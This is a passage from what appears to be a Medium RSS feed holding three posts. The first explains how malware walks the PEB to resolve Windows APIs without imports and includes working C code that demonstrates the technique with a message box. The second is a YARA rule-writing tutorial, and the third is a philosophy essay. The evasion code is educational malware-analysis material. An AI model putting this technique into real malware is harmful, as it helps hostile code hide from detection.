src="https://cdn-images-1.medium.com/max/1024/1*TT6aqhJeooYDGlSF3X5yKw.png" /></figure><h3><strong>PEB walk</strong></h3><p>In malware, the PEB (Process Environment Block) holds information about the loaded modules (DLLs) in the process, like <strong>kernel32.dll</strong> and <strong>ntdll.dll</strong> — which are important to malware. By walking through the PEB, malware can find the base addresses of these DLLs and then locate specific functions inside them.</p><p>For example, malware often looks for two key functions in <strong>kernel32.dll</strong>:</p><ul><li><strong>LoadLibraryA(libraryname):</strong> Loads a DLL into the process.</li><li><strong>GetProcAddress(hmodule, functionname):</strong> Finds the address of a function inside a loaded DLL.</li></ul><p>The main goal of the PEB walk is to find the address of <strong>LoadLibraryA</strong> in kernel32.dll so the malware can load other libraries and call their functions dynamically.</p><p>Here’s a simple step-by-step process of how the PEB walk works to find <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong>, and then use them to call <strong>MessageBoxA</strong>:</p><ol><li>Get the PEB of the current process.</li><li>Access the loader data inside the PEB (called <strong>PEB_LDR_DATA</strong>).</li><li>Go through the list of loaded modules to find the entry for <strong>kernel32.dll</strong>.</li><li>Get the base address of kernel32.dll from that entry.</li><li>Manually look inside kernel32.dll’s export table to find the addresses of <strong>LoadLibraryA</strong> and <strong>GetProcAddress</strong>.</li><li>Use <strong>LoadLibraryA</strong> to load <strong>user32.dll</strong>.</li><li>Use <strong>GetProcAddress</strong> to find the address of <strong>MessageBoxA</strong> in user32.dll.</li><li>Finally, call <strong>MessageBoxA</strong> to display the message “success”.</li></ol><p><strong>Source Code-</strong></p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>typedef struct _UNICODE_STRING {<br>    USHORT Length;<br>    USHORT MaximumLength;<br>    PWSTR  Buffer;<br>} UNICODE_STRING, * PUNICODE_STRING;<br><br>typedef struct _LDR_DATA_TABLE_ENTRY {<br>    LIST_ENTRY InLoadOrderLinks;<br>    LIST_ENTRY InMemoryOrderLinks;<br>    LIST_ENTRY InInitializationOrderLinks;<br>    PVOID      DllBase;<br>    PVOID      EntryPoint;<br>    ULONG      SizeOfImage;<br>    UNICODE_STRING FullDllName;<br>    UNICODE_STRING BaseDllName;<br>    ULONG      Flags;<br>    USHORT     LoadCount;<br>    USHORT     TlsIndex;<br>    LIST_ENTRY HashLinks;<br>    PVOID      SectionPointer;<br>    ULONG      CheckSum;<br>    ULONG      TimeDateStamp;<br>    PVOID      LoadedImports;<br>    PVOID      EntryPointActivationContext;<br>    PVOID      PatchInformation;<br>} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;<br><br>typedef struct _PEB_LDR_DATA {<br>    ULONG Length;<br>    BOOLEAN Initialized;<br>    HANDLE SsHandle;<br>    LIST_ENTRY InLoadOrderModuleList;<br>    LIST_ENTRY InMemoryOrderModuleList;<br>    LIST_ENTRY InInitializationOrderModuleList;<br>} PEB_LDR_DATA, * PPEB_LDR_DATA;<br><br>typedef struct _PEB {<br>    BOOLEAN InheritedAddressSpace;<br>    BOOLEAN ReadImageFileExecOptions;<br>    BOOLEAN BeingDebugged;<br>    BOOLEAN SpareBool;<br>    HANDLE Mutant;<br>    PVOID ImageBaseAddress;<br>    PPEB_LDR_DATA Ldr;<br>} PEB, * PPEB;<br><br>typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);<br>typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);<br>typedef int (WINAPI* MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);<br><br>PVOID GetProcAddressKernel32(HMODULE hModule, LPCSTR lpProcName) {<br>    PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)hModule;<br>    PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDOSHeader-&gt;e_lfanew);<br>    PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + pNTHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);<br><br>    DWORD* pAddressOfFunctions = (DWORD*)((BYTE*)hModule + pExportDirectory-&gt;AddressOfFunctions);<br>    DWORD* pAddressOfNames = (DWORD*)((BYTE*)hModule + pExportDirectory-&gt;AddressOfNames);<br>    WORD* pAddressOfNameOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory-&gt;AddressOfNameOrdinals);<br><br>    for (DWORD i = 0; i &lt; pExportDirectory-&gt;NumberOfNames; i++) {<br>        char* functionName = (char*)((BYTE*)hModule + pAddressOfNames[i]);<br>        if (strcmp(functionName, lpProcName) == 0) {<br>            return (PVOID)((BYTE*)hModule + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);<br>        }<br>    }<br>    return NULL;<br>}<br><br>int main() {<br>    PEB* peb;<br>    PLDR_DATA_TABLE_ENTRY module;<br>    LIST_ENTRY* listEntry;<br>    HMODULE kernel32baseAddr = NULL;<br>    GETPROCADDRESS ptrGetProcAddress = NULL;<br>    LOADLIBRARYA ptrLoadLibraryA = NULL;<br>    MESSAGEBOXA ptrMessageBoxA = NULL;<br><br>    __asm {<br>        mov eax, fs: [0x30]<br>        mov peb, eax<br>    }<br><br>    listEntry = peb-&gt;Ldr-&gt;InLoadOrderModuleList.Flink;<br>    do {<br>        module = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);<br><br>        char baseDllName[256];<br>        size_t i; <br><br>        for (i = 0; i &lt; module-&gt;BaseDllName.Length / sizeof(WCHAR) &amp;&amp; i &lt; sizeof(baseDllName) - 1; i++) {<br>            baseDllName[i] = (char)module-&gt;BaseDllName.Buffer[i];<br>        }<br>        baseDllName[i] = &#39;\0&#39;;<br><br><br>        if (_stricmp(baseDllName, &quot;kernel32.dll&quot;) == 0) {<br>            kernel32baseAddr = (HMODULE)module-&gt;DllBase;<br>        }<br><br>        listEntry = listEntry-&gt;Flink;<br>    } while (listEntry != &amp;peb-&gt;Ldr-&gt;InLoadOrderModuleList);<br><br>    if (kernel32baseAddr) {<br>        ptrGetProcAddress = (GETPROCADDRESS)GetProcAddressKernel32(kernel32baseAddr, &quot;GetProcAddress&quot;);<br>        ptrLoadLibraryA = (LOADLIBRARYA)GetProcAddressKernel32(kernel32baseAddr, &quot;LoadLibraryA&quot;);<br>        HMODULE user32Base = ptrLoadLibraryA(&quot;user32.dll&quot;);<br>        ptrMessageBoxA = (MESSAGEBOXA)ptrGetProcAddress(user32Base, &quot;MessageBoxA&quot;);<br>        ptrMessageBoxA(NULL, &quot;success&quot;, NULL, MB_OK);<br>    }<br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4cRGZIaMVx1ssNHCy8pRPA.png" /></figure><h3>Code Explanation:</h3><ul><li><strong>Struct Definitions:</strong><br> The code defines Windows internal data structures like PEB, PEB_LDR_DATA, and LDR_DATA_TABLE_ENTRY. These represent the process environment block and its module loader data, allowing the program to navigate the list of loaded DLLs inside the process.</li><li><strong>GetProcAddressKernel32 Function:</strong><br> This function manually parses the <strong>export table</strong> of a DLL (in this case, kernel32.dll) to find the address of a function by name. It:</li><li>Reads the PE headers of the DLL.</li><li>Locates the export directory.</li><li>Iterates over exported function names.</li><li>Returns the address of the requested function if found.</li><li><strong>Inline Assembly (PEB Access):</strong><br> Uses assembly instructions to get the address of the current process’s PEB from the fs segment register (offset 0x30). The PEB contains process-wide info including loaded modules.</li><li><strong>Walking the Module List:</strong><br> Accesses the PEB’s loader data (Ldr) to iterate through the InLoadOrderModuleList, which is a linked list of all DLLs loaded into the process. For each module:</li><li>Converts its Unicode name to ASCII.</li><li>Compares it to &quot;kernel32.dll&quot;.</li><li>Saves the base address of kernel32.dll once found.</li><li><strong>Resolving Important Functions:</strong><br> Uses GetProcAddressKernel32 to manually get the addresses of GetProcAddress and LoadLibraryA inside kernel32.dll. This bypasses the normal import table and API calls.</li><li><strong>Loading user32.dll and Finding MessageBoxA:</strong><br> Calls the resolved LoadLibraryA to load user32.dll dynamically. Then calls the resolved GetProcAddress to get the address of MessageBoxA inside user32.dll.</li><li><strong>Calling MessageBoxA:</strong><br> Uses the function pointer to MessageBoxA to display a message box saying &quot;success&quot;, demonstrating that the manual resolving and calling of functions worked correctly.</li></ul><h3>Reversing our PEB walk program</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*KuDud2SpKW1zbV8VY2seJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxJYIhiHqRR2gum8V3Hgsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dl0Do7nTRyDk8t3vWyc7fA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*YKJyv8nowgg7NmrfZ_S6Fg.png" /><figcaption><strong>MessageBoxAPI is not visible because we used PEB walk to resolve the API dynamically.</strong></figcaption></figure><p>That’s it for this article. We covered how malware uses the PEB to resolve API functions at runtime, avoiding the Import Address Table. Understanding this technique is key, as it’s commonly used to evade detection and obscure malicious behavior.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81f7d03bcfc5" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/inside-the-peb-how-malware-resolves-apis-without-imports-81f7d03bcfc5">Inside the PEB: How Malware Resolves APIs Without Imports</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Malware Like a Pro: A Hands-On Guide to Writing YARA Rules]]></title>
            <link>https://medium.com/@itzsanskarr/hunting-malware-like-a-pro-a-hands-on-guide-to-writing-yara-rules-aa4f7780a95c?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa4f7780a95c</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Mon, 25 Aug 2025 16:01:19 GMT</pubDate>
            <atom:updated>2025-08-25T18:23:20.791Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cfpayw9ubKphDqtAVpc2Og.png" /></figure><p>YARA (short for <strong>Yet Another Ridiculous Acronym</strong>) is a powerful framework that helps malware analysts create rules to detect malicious files. It scans files and directories based on custom patterns — strings, byte sequences, or unique signatures — and flags anything that matches.</p><h3>Meet YARA: Your Malware Bloodhound</h3><p>YARA is like that one friend who never misses a detail. You give it a set of rules (“look for these strings, these bytes, or that weird signature”), and it scans files or entire folders for matches.</p><ul><li><strong>Input 1:</strong> Your rule file (where you spell out what to catch).</li><li><strong>Input 2:</strong> The target files or directories.</li></ul><p>If it finds a match, YARA barks. Loudly.</p><h3>Before We Hunt: Gear Up</h3><p>Here’s what you’ll need:</p><ul><li>A pinch of malware analysis know-how (basic static analysis at least).</li><li>A malicious sample to poke around.</li><li>VS Code with a YARA extension (because typing rules in Notepad feels medieval).</li></ul><h3>What Makes a YARA Rule?</h3><p>Every YARA rule has three main ingredients:</p><ol><li><strong>Metadata</strong> — Notes about the rule (author, description, last updated date).</li><li><strong>Strings</strong> — The fingerprints you’re looking for (text, hex patterns, or wildcards).</li><li><strong>Condition</strong> — The logic that ties it together (when should YARA “bark”?).</li></ol><h3>Writing Your First Rule (It’s Easier Than You Think)</h3><p>Picture this: you’ve analyzed a shady binary and found some juicy leads:</p><ul><li>A mysterious string: YOURETHEMANNOWDOG</li><li>Signs it was compiled in <strong>Nim</strong></li><li>A <strong>PE header</strong> (MZ or 4D 5A in hex)</li><li>A suspicious hex sequence: FF E4 ?? 00 FF (where ?? is a wildcard byte)</li></ul><p>Sounds like enough for a decent malware profile, right? Let’s bottle that up into a YARA rule.</p><h3>Step 1: Collect Your Clues</h3><p>In YARA, your “clues” are either strings or hex sequences. The more unique they are, the less likely you’ll catch harmless files by mistake.</p><h3>Step 2: Add Metadata (a.k.a. Rule Notes)</h3><p>Metadata is your way of saying: <em>“Future me, this is why this rule exists.”</em></p><pre>meta:<br>    last_updated = &quot;2025-08-25&quot;<br>    author = &quot;sam&quot;<br>    description = &quot;Detects a shady Nim-based PE binary&quot;</pre><h3>Step 3: List the Evidence</h3><p>This is where you throw in all the fingerprints.</p><pre>strings:<br>    $string1 = &quot;YOURETHEMANNOWDOG&quot;   // A unique ASCII string<br>    $string2 = &quot;nim&quot;                  // Suggests Nim compiler<br>    $PE_magic_byte = { 4D 5A }        // Hex for &#39;MZ&#39; header<br>    $sus_hex_string = { FF E4 ?? 00 FF } // Suspicious byte pattern with wildcard</pre><p><strong>Syntax explained:</strong></p><ul><li>$ – Names your variable (you’ll use it later in the condition).</li><li>= – Assigns the value.</li><li>Quotes &quot;&quot; – For ASCII or Unicode strings.</li><li>Curly braces {} – For hex patterns.</li><li>?? – A wildcard, meaning “any byte goes here.”</li></ul><h3>Step 4: Build the Trap (Conditions)</h3><p>Conditions decide when the rule should fire. Think of it as connecting the dots.</p><ul><li>If the file starts with MZ (classic PE file)</li><li>AND has either that weird string or the Nim tag</li><li>OR contains the suspicious hex bytes</li></ul><pre>condition:<br>    $PE_magic_byte at 0 and <br>    ($string1 or $string2) or<br>    $sus_hex_string</pre><p><strong>Breaking this down:</strong></p><ul><li>$PE_magic_byte at 0 – Check if the PE header is at the start of the file (offset 0).</li><li>and – Both conditions must be true.</li><li>or – Either one is fine.</li><li>Parentheses () – Group things logically, just like in math.</li></ul><h3>The Full YARA Rule</h3><p>All the pieces together look like this:</p><pre>rule Yara_Example {<br>    meta:<br>        last_updated = &quot;2025-08-25&quot;<br>        author = &quot;sam&quot;<br>        description = &quot;Detects a shady Nim-based PE binary&quot;<br><br>    strings:<br>        $string1 = &quot;YOURETHEMANNOWDOG&quot;<br>        $string2 = &quot;nim&quot;<br>        $PE_magic_byte = { 4D 5A }<br>        $sus_hex_string = { FF E4 ?? 00 FF }<br><br>    condition:<br>        $PE_magic_byte at 0 and <br>        ($string1 or $string2) or<br>        $sus_hex_string<br>}</pre><h3>Time to Unleash It</h3><p>To scan your current directory:</p><pre>yara rulefile.yara .</pre><p>To scan an entire folder (and everything inside it):</p><pre>yara -r rulefile.yara /path/to/directory</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*9W4lmXp086PBVQWW2XKbwQ.png" /><figcaption>BOOM</figcaption></figure><h3>Why YARA Rocks (and How to Make It Rock Harder)</h3><ul><li>You can mix <strong>exact strings, hex patterns, and wildcards</strong> for flexible detection.</li><li>It works on <strong>one file or your whole drive</strong>.</li><li>You control how broad or narrow your rule is — strike a balance to avoid false alarms.</li></ul><p>And the best part? The more you write, the better you get.</p><h3>Final Word</h3><p>Malware is sneaky, but YARA gives you a way to catch it before it bites. Start small. Write your first rule. Test it on known malware and safe files. Refine. Repeat.</p><p>Soon, you won’t just be scanning files — you’ll be <strong>hunting threats like a pro</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa4f7780a95c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The 2,500-Year Odyssey of Human Philosophy: From Firelight to Intuition]]></title>
            <link>https://medium.com/@itzsanskarr/the-2-500-year-odyssey-of-human-philosophy-from-firelight-to-intuition-e8d82a4e1cd8?source=rss-713a6502cb82------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8d82a4e1cd8</guid>
            <category><![CDATA[history]]></category>
            <category><![CDATA[mindfulness]]></category>
            <category><![CDATA[philosophy]]></category>
            <category><![CDATA[culture]]></category>
            <category><![CDATA[psychology]]></category>
            <dc:creator><![CDATA[Itz.sanskarr]]></dc:creator>
            <pubDate>Sun, 24 Aug 2025 11:14:34 GMT</pubDate>
            <atom:updated>2025-08-24T11:27:29.172Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*ohLqkUomP_Pod8cfD9aB6A@2x.jpeg" /></figure><h3><strong>Overview</strong></h3><p>For 2,500 years, human philosophy has sought to illuminate the deepest questions of existence:</p><p>1.	Why am I here?</p><p>2.	Where have I come from?</p><p>3.	Where am I going?</p><p>This intellectual journey has unfolded across civilizations, evolving from early myth and speculation into a refined tapestry of rational inquiry, spiritual insight, and cultural transformation. Through philosophy, humans have wielded three innate tools – instincts, emotions, and reason – to navigate survival, community, and meaning.</p><p>This article explores the story of philosophy across four parts: its origins and evolution, the East – West divide, its role in life and civilization, and the interplay between knowledge and human motivation. Along the way, it reveals how the quest for wisdom has shaped – and been shaped by – our fears, our tools, and our dreams.</p><h3>Part I: Origins and Evolution of Philosophy</h3><h4><strong>Why Philosophy Emerged</strong></h4><p>Philosophy is uniquely human. Unlike animals, humans developed a sophisticated brain capable of self-awareness, spurred by milestones such as the discovery of fire, which freed time for reflection by making food easier to digest. Consciousness of mortality – realizing one’s own death was inevitable – ignited the earliest philosophical impulses.</p><p>The Epic of Gilgamesh (c. 3000 – 2000 BCE) illustrates this: Gilgamesh, faced with mortality, sought immortality and failed, turning instead to legacy-building. From this fear of death arose religions promising afterlife and philosophies seeking meaning.</p><h4><strong>From Universal Curiosity to Specialized Sciences</strong></h4><p>Early philosophers studied everything – from stars to frogs – because science did not yet exist as a separate discipline. Over time, philosophy birthed its own children:</p><p>•	<strong>Physics (15th – 16th c.)</strong> – Galileo, Copernicus, Newton: Explored the physical world.</p><p>•	<strong>Biology (18th – 19th c.)</strong> – Darwin: Examined life and evolution.</p><p>•	<strong>Psychology (19th – 20th c.)</strong> – Freud, Jung: Delved into the mind and subconscious.</p><p>As these fields matured, philosophy was left to wrestle with metaphysics – questions of meaning, consciousness, and existence.</p><p>Nietzsche lamented this narrowing, accusing philosophy of over-rationality and proposing the Übermensch, a creator of values through art and passion rather than sterile reason.</p><h4>Branches of Philosophy</h4><p>•	<strong>Ontology</strong>: What exists? Are humans sacred beings or advanced animals?</p><p>•	<strong>Epistemology</strong>: How do we know what is real? (Kant: We know through mental structures.)</p><p>•	<strong>Metaphysics vs. Physics</strong>: One studies matter, the other the non-physical – ideas, soul, consciousness.</p><p>•	<strong>Logic vs. Reason</strong>: Logic is rigid and mathematical; reason is flexible, persuasive, sometimes manipulative.</p><p>•	<strong>Rationalism vs. Empiricism</strong>: Knowledge from reason (Descartes, Leibniz) vs. experience (Locke, Hume). Kant bridged them: the mind structures experience (phenomena vs. noumena).</p><p>•	<strong>Political Philosophy &amp; Ethics</strong>: How societies govern morality and law.</p><p>•	<strong>Egalitarianism vs. Elitism</strong>: Equality (Marx, Rousseau) vs. natural hierarchy (Nietzsche).</p><p>•	<strong>Humanism vs. Utilitarianism</strong>: Value of each human vs. greatest good for the greatest number.</p><p>•	<strong>Existentialism vs. Postmodernism</strong>: Individual freedom (Sartre) vs. group identity and relativism (Foucault).</p><p>•	<strong>Phenomenology</strong>: Studies how objects appear to us, not what they are in themselves.</p><h4>The Future of Philosophy</h4><p>With science mastering reason and literature exploring emotions, philosophy risks redundancy. One proposed path is intuition – a bridge between instinct and reason, fluid yet insightful. Henri Bergson championed this, arguing that intuition offers a direct, creative engagement with life, unlike reason’s rigidity or emotion’s volatility.</p><h3>Part II: Eastern vs. Western Philosophy</h3><h4><strong>Core Differences</strong></h4><p>•	<strong>Eastern</strong>: Spiritual, communitarian, adaptive. Focuses on changing oneself to harmonize with nature. Originated in fertile river valleys (India, China) with stable agricultural cycles.</p><p>•	<strong>Western</strong>: Rational, individualistic, transformative. Seeks to change the world via science and technology. Born in seafaring Greece, where trade demanded innovation and debate.</p><p>Example: Tagore (subjective, quantum-like view of reality) vs. Einstein (objective, classical physics).</p><h4><strong>Geography and Culture as Shapers</strong></h4><p>•	<strong>Greece</strong>: Poor soil, merchant culture, cold winters → emphasis on planning, debate, and progress (Aristotle’s teleology).</p><p>•	<strong>India/China</strong>: Fertile riverlands, monsoons, self-sufficient farming → cyclical worldview, acceptance of fate (Buddhism).</p><p>Western heroes fight the world (Jesus, Prometheus, Harry Potter); Eastern sages transform the self (Buddha, Laozi).</p><h4>Greek Titans: Socrates, Plato, Aristotle</h4><p>•	<strong>Socrates (469 – 399 BCE)</strong>: Dialectic method, virtue through knowledge. Executed for challenging Athenian democracy.</p><p>•	<strong>Plato (427 – 347 BCE)</strong>: Ideal forms beyond material reality; anti-democratic philosopher-kings.</p><p>•	<strong>Aristotle (384 – 322 BCE)</strong>: Empirical, teleological, truth in observable world. Foundation for medieval science.</p><p><strong>Others</strong>: Pythagoras (mathematics), Parmenides (logic over senses), Epicurus (peaceful pleasure, fear of death irrational).</p><h4>Eastern Sages: Laozi, Buddha, Confucius</h4><p>•	<strong>Laozi (6th c. BCE): Taoism</strong> – wu-wei (effortless action), yin-yang harmony.</p><p>•	<strong>Buddha (563 – 483 BCE)</strong>: Suffering from desire; ego is illusion; meditation leads to enlightenment.</p><p>•	<strong>Confucius (551 – 479 BCE)</strong>: Social harmony through hierarchy, meritocracy, duty.</p><p>Eastern thought fosters inner change for outer harmony; Western thought promotes outer change for inner freedom.</p><h3>Part III: Philosophy of Life and Civilization</h3><h4>Humanism (Egalitarianism) vs. Animalism (Elitism)</h4><p>•	<strong>Humanism</strong>: All humans sacred, equal (roots in Christianity, Judaism). Champions: Augustine, Aquinas, Mozi, Voltaire, Rousseau. Basis for liberal democracy, feminism, socialism.</p><p>•	<strong>Animalism (Elitism)</strong>: Humans chaotic, need control; hierarchy natural. Champions: Sun Tzu, Machiavelli, Hobbes. Foundation of political realism.</p><p>History shows a slow drift toward equality, but hierarchies persist.</p><h4>Knowledge vs. Happiness</h4><p>•	<strong>Knowledge</strong>: Power, transformation, sometimes cynical (Bacon, Heidegger, Foucault).</p><p>•	<strong>Happiness</strong>: Peace, simplicity, sometimes naïve (Erasmus, Montaigne, Russell).</p><p>The tension remains: should civilization strive to know more, or to suffer less?</p><h3>Part IV: Knowledge and Human Motivation</h3><h4>Rationalism, Empiricism, and Kant</h4><p>•	<strong>Rationalism (Descartes, Leibniz)</strong>: Knowledge flows from innate reason – like a torch lighting the world.</p><p>•	<strong>Empiricism (Locke, Hume)</strong>: Knowledge flows from sensory experience – like a window to reality.</p><p>•	<strong>Kant (1724 – 1804)</strong>: Unified both. We don’t passively absorb reality; our minds shape it (phenomena vs. noumena).</p><h4>Sociological vs. Psychological Drivers</h4><p><strong>Sociological (Reason/History):</strong></p><p>•	<strong>Hegel</strong>: History evolves dialectically.</p><p>•	<strong>Marx</strong>: Class struggle drives progress.</p><p>•	<strong>Sartre</strong>: History irrelevant; freedom burdens.</p><p>•	<strong>Zizek</strong>: History is a comedy of failed revolutions.</p><p><strong>Psychological (Passion/Will):</strong></p><p>•	<strong>Schopenhauer</strong>: Blind will drives suffering.</p><p>•	<strong>Kierkegaard</strong>: Freedom breeds anxiety.</p><p>•	<strong>Nietzsche</strong>: Will to power creates greatness.</p><p>•	<strong>Jordan Peterson</strong>: Responsibility relieves suffering.</p><p>•	<strong>Sadhguru</strong>: Higher consciousness over material obsession.</p><p>Here, history and reason battle passion and psyche for the throne of human motivation.</p><h3>Final Conclusion: Philosophy’s Next Frontier</h3><p>From its birth in the flicker of firelight to its present-day crossroads, philosophy has remained humanity’s most ambitious attempt to understand itself. It has birthed sciences, inspired revolutions, comforted the dying, and unsettled the powerful. Its questions remain alive because they are not simply about truth – they are about us.</p><p>The story of philosophy reveals a continual oscillation: between East and West, equality and hierarchy, knowledge and happiness, reason and passion. It is neither linear nor complete. Rather, it is a living dialogue carried forward by each generation.</p><p>Will future philosophy find new life through intuition, creativity, and holistic understanding? Or will it dissolve into the very sciences and technologies it once gave birth to? The answer, as it always has been, will depend on the next thinker bold enough to ask.</p><h3>Reflection Questions</h3><p>•	Which philosophy or philosopher speaks most to your own instincts, emotions, and reason?</p><p>•	As the world evolves, will philosophy revive itself through intuition – or will it fade into obsolescence?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8d82a4e1cd8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>